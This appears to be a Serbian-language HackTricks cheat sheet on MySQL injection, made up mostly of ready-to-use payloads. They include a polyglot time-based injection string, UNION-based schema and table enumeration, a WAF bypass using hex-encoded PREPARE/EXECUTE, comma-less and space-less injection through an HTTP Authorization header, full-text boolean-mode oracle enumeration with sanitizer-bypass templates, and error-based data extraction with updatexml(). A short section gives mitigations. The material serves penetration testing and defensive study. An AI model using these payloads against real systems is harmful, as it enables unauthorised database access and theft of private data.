MySQL injection

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Komentari

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Zanimljive funkcije

Potvrdi Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Korisne funkcije

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Sve injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Tok

Imajte na umu da u “modernim” verzijama MySQL možete koristiti “information_schema.tables” umesto “mysql.innodb_table_stats (Ovo može biti korisno za zaobilaženje WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Samo 1 vrednost

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Otkrivanje broja kolona

Koristeći jednostavan ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Ovde saznajte različite opcije za abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

Kada su dozvoljeni stacked queries, može biti moguće zaobići WAFs dodeljivanjem promenljivoj hex representation upita koji želite da izvršite (korišćenjem SET), a zatim koristiti PREPARE i EXECUTE MySQL naredbe da biste na kraju izvršili upit. Nešto poput ovoga:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Za više informacija pogledajte this blog post.

Information_schema alternative

Zapamtite da u “modernim” verzijama MySQL možete zameniti information_schema.tables sa mysql.innodb_table_stats ili sa sys.x$schema_flattened_keys ili sa sys.schema_table_statistics

MySQLinjection bez ZAREZA

Select 2 columns bez upotrebe bilo kog zareza (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Dohvatanje vrednosti bez imena kolone

Ako u nekom trenutku znate ime tabele, ali ne znate imena kolona u toj tabeli, možete pokušati da otkrijete koliko kolona ima izvršavanjem nečega poput:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Pretpostavljajući da postoje 2 kolone (pri čemu je prva ID), a druga flag, možete pokušati da bruteforce sadržaj flag pokušavajući znak po znak:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Neke aplikacije sanitizuju ili parsiraju korisnički unos funkcijama kao što je sscanf("%128s", buf) koje se zaustave na prvom znaku razmaka. Pošto MySQL tretira niz /**/ kao komentar i kao prazne znakove, može se koristiti da potpuno ukloni normalne razmake iz payload-a, istovremeno održavajući upit sintaktički validnim.

Primer time-based blind injection koji zaobilazi filter razmaka:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Koju baza podataka prima kao:

' OR SLEEP(5)-- -'

Ovo je posebno korisno kada:

  • Kontrolisani bafer je ograničen veličinom (npr. %128s) i razmaci bi preuranjeno prekinuli unos.
  • Injektovanje kroz HTTP headers ili druga polja gde su normalni razmaci uklonjeni ili korišćeni kao separatori.
  • U kombinaciji sa INTO OUTFILE primitivima za postizanje potpunog pre-auth RCE (pogledajte MySQL File RCE sekciju).

Istorija MySQL-a

Možete videti druga izvršenja u MySQL-u čitajući tabelu: sys.x$statement_analysis

Verzija alternativas

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Ovo nije klasičan SQL injection. Kada developeri ubace korisnički unos u MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL izvršava bogat skup Boolean search operatora unutar navodnika. Mnoge WAF/SAST rules se fokusiraju samo na razbijanje navodnika i propuštaju ovu površinu.

Key points:

  • Operatori se tumače unutar navodnika: + (mora biti prisutan), - (ne sme biti prisutan), * (wildcard na kraju), "..." (tačna fraza), () (grupisanje), </>/~ (težine). Vidi MySQL docs.
  • Ovo omogućava testove prisustva/odsustva i testove prefiksa bez izlaska iz string literala, npr. AGAINST('+admin*' IN BOOLEAN MODE) da se proveri bilo koji termin koji počinje sa admin.
  • Korisno za izgradnju oracles kao što su „da li bilo koji red sadrži termin sa prefiksom X?“ i za nabrajanje skrivenih stringova putem proširenja prefiksa.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Ako aplikacija vraća različite odgovore u zavisnosti od toga da li je result set prazan (npr. redirect vs. error message), to ponašanje postaje Boolean oracle koji se može koristiti za enumeraciju privatnih podataka kao što su hidden/deleted titles.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: if the backend trims 1–2 trailing characters per word via a regex like (\b.{1,2})(\s)|(\b.{1,2}$), submit prefix*ZZ. The cleaner trims the ZZ but leaves the *, so prefix* survives.
  • Early-break stripping: if the code strips operators per word but stops processing when it finds any token with length ≥ min length, send two tokens: the first is a junk token that meets the length threshold, the second carries the operator payload. For example: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 je &, %2B je +. Završni xD (ili bilo koja dva slova) se obrezuje od strane čistača, uz očuvanje {FUZZ}*.
  • Smatrajte redirekciju kao “match” i stranicu sa greškom kao “no match”. Ne pratite redirekcije automatski da oracle ostane uočljiv.

Enumeration workflow:

  1. Počnite sa {FUZZ} = a…z,0…9 da biste pronašli podudaranja prvog slova koristeći +a*, +b*, …
  2. Za svaki pozitivan prefiks razgranajte: a* → aa* / ab* / …. Ponavljajte dok ne rekonstrušete ceo string.
  3. Raspodelite zahteve (proxy-e, više naloga) ako aplikacija primenjuje flood control.

Why titles often leak while contents don’t:

  • Neke aplikacije primenjuju provere vidljivosti tek nakon preliminarnog MATCH na titles/subjects. Ako control-flow zavisi od ishoda “any results?” pre filtriranja, pojavljuju se existence leaks.

Mitigations:

  • If you don’t need Boolean logic, use IN NATURAL LANGUAGE MODE or treat user input as a literal (escape/quote disables operators in other modes).
  • If Boolean mode is required, strip or neutralize all Boolean operators (+ - * " ( ) < > ~) for every token (no early breaks) after tokenization.
  • Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
  • Review analogous features in other DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS also parse operators inside quoted arguments.

Notes:

  • Prepared statements do not protect against semantic abuse of REGEXP or search operators. An input like .* remains a permissive regex even inside a quoted REGEXP '.*'. Use allow-lists or explicit guards.

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() подиже XPATH грешку која уграђује конкатенирани string, тако да се вредност из унутрашњег SELECT појављује у одговору о грешци између делимитера (0x7e = ~). Понављајте LIMIT 1 OFFSET N да бисте набројали редове. Ово ради чак и када UI присилjava “boolean” тестове јер се порука о грешци и даље приказује.

Ostali MYSQL injection vodiči

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks